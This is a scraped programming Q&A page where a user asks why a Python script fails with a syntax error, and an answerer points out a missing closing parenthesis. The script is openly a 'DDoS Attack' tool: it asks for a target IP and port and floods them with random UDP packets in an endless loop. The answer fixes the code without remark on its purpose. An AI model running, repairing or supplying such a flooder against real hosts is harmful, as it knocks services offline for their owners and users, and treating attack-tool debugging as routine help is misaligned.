How can I fix this error in my python code?

user12316458

the code is avaible on github in python 2, so i changed it a little bit but now, it says there is an syntax error and I have no idea how to fix. CODE:

import sys
import os
import time
import socket
import random

#Code
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
################################################################################
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
################################################################################
os.system("clear")
os.system("figlet DDos Attack")
print("DDoS_Tool")
print("Author   : ...")
print(" ")
ip = input("IP Target : ")
port = input("Port       : ")
print(" ")

os.system("clear")
os.system("figlet Attac Starting")
os.system("figlet Attack Starting")
print ("[                    ] 0% ")
time.sleep(2)
print ("[=====               ] 25%")
time.sleep(4)
print ("[==========          ] 50%")
time.sleep(3)
print( "[===============     ] 75%")
time.sleep(4)
print ("[====================] 100%")
time.sleep(1)
sent = 0

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()

That's the code, and it says there is a syntax-error at:

if port == 65534:

and the ":" gets marked red.

I've no idea how to fix it.

Joshua

You are missing a parantesis close for the print statement:

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)) #here

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()

Collected from the Internet

Please contact [email protected] to delete if infringement.

edited at
0

Comments

0 comments
Login to comment

Related

How can I fix a SqlException incorrect syntax error in my code?

How can I fix this error in my code for an assignment?

How to fix this my error code program? I use Python 3.6

How can I fix my code to solve for this puzzle? (Python)

how can i fix this error in a bison code?

Inputting a string into my code that an int is required and I get a java error how can I fix this?

How can i avoid this error in my python code

How can I solve the Type Error issue in my python code?

How can I fix my haskell code to work for my example?

How can I fix the following error : "Ambiguous reference to member 'subscript'" that appears in my code?

pyautogui throws me error message. How can I fix my code?

How can I fix no line found error when using scanner in my code?

How can I fix C++ error C2672 in my code with threads?

How can I fix my format error in my program

How can i fix this syntax error in python?

I got error code 1442 for creating TRIGGER in MySQL and another syntax error for my other trigger? How can I fix it?

How can I fix my code to accumulate items with same date and username and return time python

How can I fix my python code to save and resize images using glob on linux

How can I fix my Python rock paper scissors game code?

How should I fix my code for Sock Merchant with runtime error

How do I fix the indentation error in my code?

Error in my code but i cant find out how to fix

How do i fix my class code 'int' object error?

how do i fix this subprocess error in my code

How can I fix my code for an Arduino LED string controller?

How can I fix my code to print "AAADADDA" instead of "DAADAAAAAAADADDA"?

How can I start with this problem and fix my code?

How can I fix my code not finding keywords in a list?

How can I fix my code to make it function?